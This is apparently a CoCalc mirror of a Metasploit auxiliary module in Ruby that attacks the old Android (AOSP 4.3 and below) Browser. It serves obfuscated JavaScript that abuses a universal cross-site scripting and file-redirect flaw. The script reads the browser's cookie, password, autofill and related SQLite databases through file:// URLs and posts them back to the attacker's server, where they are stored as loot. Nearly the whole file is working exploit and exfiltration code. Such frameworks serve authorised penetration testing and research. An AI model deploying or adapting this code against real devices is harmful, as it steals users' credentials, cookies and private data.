CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/gather/android_browser_file_theft.rb
Views: 11780
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
7
class MetasploitModule < Msf::Auxiliary
8
include Msf::Exploit::Remote::HttpServer::HTML
9
include Msf::Auxiliary::Report
10
include Msf::Exploit::JSObfu
11
12
def initialize(info={})
13
super(update_info(info,
14
'Name' => 'Android Browser File Theft',
15
'Description' => %q{
16
This module steals the cookie, password, and autofill databases from the
17
Browser application on AOSP 4.3 and below.
18
},
19
'Author' => [
20
'Rafay Baloch', # Found UXSS bug in Android Browser
21
'joev' # File redirect and msf module
22
],
23
'License' => MSF_LICENSE,
24
'Actions' => [[ 'WebServer', 'Description' => 'Serve exploit via web server' ]],
25
'PassiveActions' => [ 'WebServer' ],
26
'References' =>
27
[
28
# patch for file redirection, 2014
29
['URL', 'https://android.googlesource.com/platform/packages/apps/Browser/+/d2391b492dec778452238bc6d9d549d56d41c107%5E%21/#F0'],
30
['URL', 'https://bugs.chromium.org/p/chromium/issues/detail?id=90222'] # the UXSS
31
],
32
'DefaultAction' => 'WebServer'
33
))
34
35
register_options([
36
OptString.new('ADDITIONAL_FILES', [
37
false,
38
'Comma-separated list of addition file URLs to steal.',
39
]),
40
OptBool.new('DEFAULT_FILES', [
41
true,
42
'Steals a default set of file URLs',
43
true
44
])
45
])
46
end
47
48
def run
49
exploit
50
end
51
52
def on_request_uri(cli, request)
53
if request.method.downcase == 'post'
54
process_post(cli, request)
55
send_response_html(cli, '')
56
else
57
print_status('Sending exploit landing page...')
58
send_response_html(cli, exploit_html)
59
end
60
end
61
62
def process_post(cli, request)
63
data = JSON.parse(request.body)
64
contents = hex2bin(data['data'])
65
file = File.basename(data['url'])
66
print_good("File received: #{(contents.bytesize.to_f/1000).round(2)}kb #{file}")
67
loot_path = store_loot(
68
file,
69
'application/x-sqlite3',
70
cli.peerhost,
71
contents,
72
File.basename(data['url']),
73
"#{cli.peerhost.ljust(16)} Android browser file"
74
)
75
print_good("Saved to: #{loot_path}")
76
end
77
78
79
def file_urls
80
default_urls = [
81
'file:///data/data/com.android.browser/databases/webviewCookiesChromium.db',
82
'file:///data/data/com.android.browser/databases/webview.db',
83
'file:///data/data/com.android.browser/databases/autofill.db',
84
'file:///data/data/com.android.browser/databases/browser2.db',
85
'file:///data/data/com.android.browser/app_appcache/ApplicationCache.db',
86
'file:///data/data/com.android.browser/app_databases/Databases.db',
87
'file:///data/data/com.android.browser/databases/webviewCookiesChromiumPrivate.db'
88
]
89
90
unless datastore['DEFAULT_FILES']
91
default_urls = []
92
end
93
94
default_urls + (datastore['ADDITIONAL_FILES']||'').split(',')
95
end
96
97
def exploit_html
98
%Q|
99
<!doctype html>
100
<html>
101
<body>
102
<script>#{exploit_js}</script>
103
</body>
104
</html>
105
|
106
end
107
108
def exploit_js
109
js_obfuscate %Q|
110
window.onmessage = function(e) {
111
var x = new XMLHttpRequest;
112
x.open("POST", location.href);
113
x.send(JSON.stringify(e.data))
114
};
115
116
117
function xss() {
118
var urls = (#{JSON.generate(file_urls)});
119
function tick() {
120
setTimeout(function() { next(urls.shift()); });
121
};
122
window.onmessage = tick;
123
124
function next(url) {
125
if (!url) return;
126
try {
127
var f = document.createElement('iframe');
128
f.src = url;
129
f.onload = function() {
130
f.onload = null;
131
function nested() {
132
var x = new XMLHttpRequest;
133
x.open('GET', location.href);
134
x.responseType = 'arraybuffer';
135
x.send();
136
x.onload = function() {
137
var buff = new Uint8Array(x.response);
138
var hex = Array.prototype.map.call(buff, function(d) {
139
var c = d.toString(16);
140
return (c.length < 2) ? 0+c : c;
141
}).join(new String);
142
/*ensures there are no 'not allowed' responses that appear to be valid data*/
143
if (hex.length && hex.indexOf('#{Rex::Text.to_hex("<html><body>not allowed</body></html>","")}') === -1) {
144
top.postMessage({data:hex,url:location.href}, '*');
145
}
146
parent.postMessage(1,'*');
147
};
148
x.onerror = function() {
149
parent.postMessage(1,'*');
150
};
151
}
152
document.documentURI = 'javascript://hostname.com/%0D%0A('+encodeURIComponent(nested.toString())+')()';
153
f.contentWindow.location = "";
154
};
155
document.body.appendChild(f);
156
} catch(e) {t();}
157
};
158
159
tick();
160
161
}
162
163
var brokenFrame = document.createElement('iframe');
164
brokenFrame.src = 'http://localhost:100';
165
brokenFrame.setAttribute('style', 'position:absolute;left:-1000px;height:0;width:0;visibility:hidden;')
166
brokenFrame.onload = function() {
167
brokenFrame.onload = null;
168
document.documentURI = 'javascript://hostname.com/%0D%0A('+encodeURIComponent(xss.toString())+')()';
169
brokenFrame.contentWindow.location = "";
170
};
171
document.body.appendChild(brokenFrame);
172
|
173
end
174
175
# TODO: Make this a proper Rex::Text function
176
def hex2bin(hex)
177
hex.chars.each_slice(2).map(&:join).map { |c| c.to_i(16) }.map(&:chr).join
178
end
179
end
180
181